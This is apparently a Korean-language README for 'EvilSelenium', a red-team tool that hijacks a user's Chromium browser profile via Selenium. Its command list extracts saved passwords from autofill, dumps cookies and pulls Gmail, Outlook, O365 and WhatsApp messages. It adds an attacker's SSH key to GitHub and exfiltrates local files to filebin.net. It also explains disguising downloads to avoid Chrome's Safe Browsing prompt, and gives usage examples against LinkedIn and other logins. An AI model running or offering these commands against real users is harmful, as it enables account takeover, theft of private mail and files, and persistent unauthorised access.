
Selenium을 무기화하여 Chromium 브라우저에서 자격 증명 탈취, 쿠키 덤프, 이메일 유출 및 파일 추출을 자동화해 레드 팀 작전을 수행합니다.
EvilSelenium은 Selenium을 무기화하여 Chromium 기반 브라우저를 악용하는 새로운 프로젝트입니다. 현재 제공되는 기능은 다음과 같습니다:
또는 기존 기능을 확장하여 필요에 맞게 사용할 수 있습니다 (예: 사용자의 GDrive/OneDrive에서 파일 다운로드).
이 도구를 실행하면 사용자의 브라우저 프로필(비밀번호 및 활성 세션이 포함된)로 실행할 수 있도록 기존 브라우저 프로세스가 종료됩니다.
이 도구는 약 1주일 만에 만들었으며, 충분한 테스트를 거치지 않았기 때문에 몇 가지 버그가 있을 수 있습니다.
Selenium 모듈은 항상 안정적이지 않습니다. 웹사이트의 지속적인 변경으로 인해 일부 모듈이 간헐적으로 작동하지 않을 수 있습니다. 기존 모듈이 의도한 대로 작동하도록 유지하기 위해 최선을 다하겠지만, 이 점을 미리 알려드립니다.
EvilSelenium.exe /?
/help - 이 도움말 메뉴를 표시합니다.
SETUP:
/install - chromedriver 및 Selenium webdriver를 설치합니다. 한 번 실행하세요.
GLOBAL: (모든 명령어에서 사용 가능)
/browserdir [appdata_local_routing] - 사용자 지정 브라우저를 사용합니다. %appdatalocal% 디렉터리 내의 경로를 입력하세요 (예: "Microsoft\Edge")
RECON:
/enumsavedsites [out_path] - 저장된 비밀번호가 있는 웹사이트를 스크린샷으로 확인합니다.
/screenshot [website] [out_path] - 지정된 웹페이지의 스크린샷을 촬영합니다.
CREDENTIALS:
/autorun - 일반적인 웹사이트에서 저장된 자격 증명을 추출합니다.
/dynamicid [login_page] [username_id] [password_id] - 웹사이트에서 저장된 자격 증명을 추출하며, 사용자 이름 필드 ID와 비밀번호 필드 ID를 제공합니다.
/dynamicname [login_page] [username_name] [password_name] - 웹사이트에서 저장된 자격 증명을 추출하며, 사용자 이름 필드 name 값과 비밀번호 name 값을 제공합니다.
/dynamicname2 [login_page] [username_position] [password_position] [username_name] [password_name] - 웹사이트에서 저장된 자격 증명을 추출하며, 사용자 이름 필드 name 값, 비밀번호 name 값 및 그 위치를 제공합니다.
COOKIES:
/cookies [website] - 지정된 웹사이트의 쿠키를 가져옵니다.
MODULES:
/download [file_url] [seconds] - 파일을 다운로드하고 다운로드 완료를 기다릴 시간을 지정합니다. 파일 확장자는 실행 가능한 것이 아니어야 합니다.
/exfil [local_file] [seconds] - 파일을 filebin.net에 업로드하고 다운로드 링크를 출력합니다.
/gmail [out_path] [num_of_emails] - 사용자가 인증된 경우 mail.google.com에서 이메일을 가져옵니다. 최대 50개 이메일.
/outlook [out_path] [num_of_emails] - 사용자가 인증된 경우 Outlook에서 이메일을 가져옵니다.
/o365 [out_path] [num_of_emails] - 사용자가 인증된 경우 O365 Outlook에서 이메일을 가져옵니다.
/github [key] - 사용자가 인증된 경우 GitHub에 SSH 키를 추가합니다.
/whatsapp [out_path] - 사용자가 인증된 경우 WhatsApp 메시지를 가져옵니다 (BETA).
/install 명령은 필요한 Chrome Driver 및 Selenium WebDriver를 다운로드합니다. EvilSelenium은 Chrome 버전 100-90에서 작동합니다.
Windows 10, Chrome v97 및 v90에서 테스트됨.
EvilSelenium.exe /install
기본적으로 EvilSelenium은 Google Chrome의 사용자 데이터 폴더를 사용하여 데이터를 검색하려고 시도하지만, 다른 Chromium 기반 브라우저도 지원됩니다.
다른 Chrome 기반 브라우저를 사용하려면 /browserdir 뒤에 %localappdata% 디렉터리 내의 브라우저 경로를 추가해야 합니다.
다음은 몇 가지 일반적인 브라우저의 예시입니다 (모든 CLI 명령에 추가해야 함):
/browserdir BraveSoftware\Brave-Browser/browserdir Microsoft\Edge/browserdir Vivaldi/enumsavedsites - chrome://settings/passwords의 스크린샷을 촬영합니다.
/screenshot - 모든 웹사이트의 스크린샷을 촬영합니다. 사용자가 해당 웹사이트에 인증된 경우 인증된 스크린샷을 얻을 수 있습니다.
중요: 자격 증명 모듈은 자동 완성에서 자격 증명을 탈취하기 위해 쿠키를 삭제합니다. 쿠키를 내보내려면 자격 증명 모듈을 마지막에 사용하는 것이 좋습니다.
/autorun - 일반적인 웹사이트에 대한 사전 구축된 템플릿입니다. 계속 추가할 예정입니다.
/dynamicid - 로그인 URL과 함께 사용자 이름 입력 필드의 ID 및 비밀번호 필드의 ID를 제공합니다. 이는 document.getElementById()와 동일합니다.
/dynamicname - 필드에 ID가 없는 경우, 필드의 name 값을 제공합니다. name 값의 첫 번째 인덱스를 선택합니다. 이는 document.getElementsByName()[0].value와 동일합니다.
/dynamicname2 - 필드의 name 값과 해당 인덱스 위치를 함께 제공합니다. 이는 document.getElementsByName()[x].value (여기서 x는 제공된 위치)와 동일합니다.
/cookies - 지정된 웹사이트의 쿠키를 덤프합니다.
Selenium으로 수행할 수 있는 다양한 작업을 보여주기 위해 추가로 만든 모듈입니다.
/download - 파일을 다운로드하고 다운로드 완료를 기다릴 시간을 지정합니다. Chrome의 Safebrowsing 프롬프트를 피하기 위해 다운로드 전에 실행 가능하지 않은 파일 확장자를 파일에 추가해야 합니다.
/exfil - 파일을 filebin.net에 업로드하고 업로드 완료를 기다릴 시간을 지정합니다. 업로드가 완료되면 파일의 다운로드 링크가 출력됩니다.
/gmail - 사용자가 인증된 경우 mail.google.com에서 이메일을 가져옵니다. 최대 50개 이메일.
/outlook - 사용자가 인증된 경우 Outlook에서 이메일을 가져옵니다.
/o365 - 사용자가 인증된 경우 O365 Outlook에서 이메일을 가져옵니다.
/github - 사용자가 인증된 경우 GitHub에 SSH 키를 추가합니다.
/whatsapp - 사용자가 인증된 경우 WhatsApp 메시지를 가져옵니다 (BETA).
EvilSelenium.exe /screenshot https://mail.google.com c:\users\mr.d0x\downloads
EvilSelenium.exe /dynamicid https://www.hybrid-analysis.com/login login_email login_password
EvilSelenium.exe /dynamicname https://linkedin.com session_key session_password
